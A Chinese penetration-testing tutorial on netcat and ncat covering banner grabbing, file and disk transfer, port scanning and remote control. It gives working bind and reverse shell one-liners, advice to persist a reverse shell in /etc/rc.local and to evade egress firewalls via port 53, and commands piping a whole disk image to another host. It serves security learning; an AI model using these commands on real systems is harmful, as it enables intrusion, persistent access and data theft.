[渗透测试学习四]之黑客神器工具:NC瑞士军刀 [渗透测试学习四]之黑客神器工具:NC瑞士军刀

[渗透测试学习四]之黑客神器工具:NC瑞士军刀

常用工具

经常使用且功能强大,安全从业者必不可少的帮手

  • Nc/ncat
  • Wireshark
  • Tcpdump


NETCAT——NC

网络工具中的瑞士军刀——小身材、大智慧

  • 侦听/传输模式
  • telnet(可完全代替)/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马(不会被查杀)
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

NC——TELNET/BANNER

此时作为客户端

nc -vn IP 端口
# v:显示详细连接信息
# n:当跟的域名时,不进行域名解析(最好用IP地址,ping即可)

连接163示例

# 计算163用户名base64值
base64  # 回车
123@163.com  # ctl+D
# 复制base64值
# 密码同理

ping pop3.163.com  # 查看ip
nc -nv 220.181.12.110 110  # 连接
# 结果如下
# (UNKNOWN) [220.181.12.110] 110 (pop3) open
# +OK Welcome to coremail Mail Pop3 Server (163coms[10774b260cc7a37d26d71b52404dcf5cs])

USER (账户base64值)
PASSWORD (密码base64值)

NC——传输文本信息

  • A:nc -l -p 333(打开一个端口)
  • B: nc -nv 1.1.1.1 333(连接端口)

连接后即可对话

  • 远程电子取证
ls -l | nc -nv 10.1.1.1 333  # B

# 若要保存到一个文件而不是显示,A应输入:
nc -l -p 333 . result.txt
# B:
ps aux | nc -nv 10.1.1.1 333 -q 1
# -q 1:等待1秒断开连接

NC——传输文件/目录

  • 传输文件

B传给A:

A:

nc -lp 333 > 1.mp4

B:

nc -nv 1.1.1.1 333 < 1.mp4 -q 1

A传给B:
A:

nc -q 1 -lp 333 < 1.mp4

B:

nc -nv 1.1.1.1 333 > 1.mp4

  • 传输目录

A传给B
A:

tar -cvf - music/ | nc -lp 333 -q 1

B:

nc -nv 1.1.1.1 333 | tar -xvf -

  • 加密传文件

B传给A
A:

nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4

B:

mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

NC——流媒体服务器

A传给B播放
A:

cat 1.mp4 | nc -lp 333

B:

nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

mplayer需要安装


NC——端口扫描

nc -nvz 1.1.1.1 1-65535
# 探测1-65535的端口状态

NC——远程克隆硬盘

远程电子取证,可以将目标服务器硬盘或内存远程复制。

A从B里取证
A:

nc -lp 333 | dd of=/dev/sda

B:

dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

NC——远程控制

  • 正向
    客户端(自己的主机)控制服务器(渗透的服务器)

A(服务器端):

# 服务器侦听端口
nc -lp 333 -c bash

B(客户端):

nc -nv 1.1.1.1 333

  • 反向
    服务端(自己的主机)控制客户端(渗透的服务器)
    用在拒绝从外向内访问而可以从内向外访问的边界防火墙。如果拒绝了从内向外,还也可侦听53端口(DNS服务器)

将自己的主机作为服务端
A(服务端,自己的主机):

# 侦听端口
nc -lp 333

B(客户端(渗透的服务器)):

nc -nv 1.1.1.1 333 -c bash
# 可作为启动脚本写入/etc/rc.local(开机启动脚本)

注意:如果需要控制Windows需要将bash改为cmd


NC——NCAT

弥补NC的不足和缺陷

  • Nc缺乏加密和身份验证的能力
  • Ncat包含于nmap工具包中

A(服务器端 IP:1.1.1.1):

ncat -c bash --allow 1.1.1.2 -vnl 333 --ssl
# 只允许1.1.1.2连接

B(客户端 IP:1.1.1.2):

ncat -nv 1.1.1.1 333 --ssl

注:不同系统/平台的nc参数功能不尽相同!!!此处为两台kali实验。
可通过nc -h,或man nc查看参数使用方法

评论 0

sitemap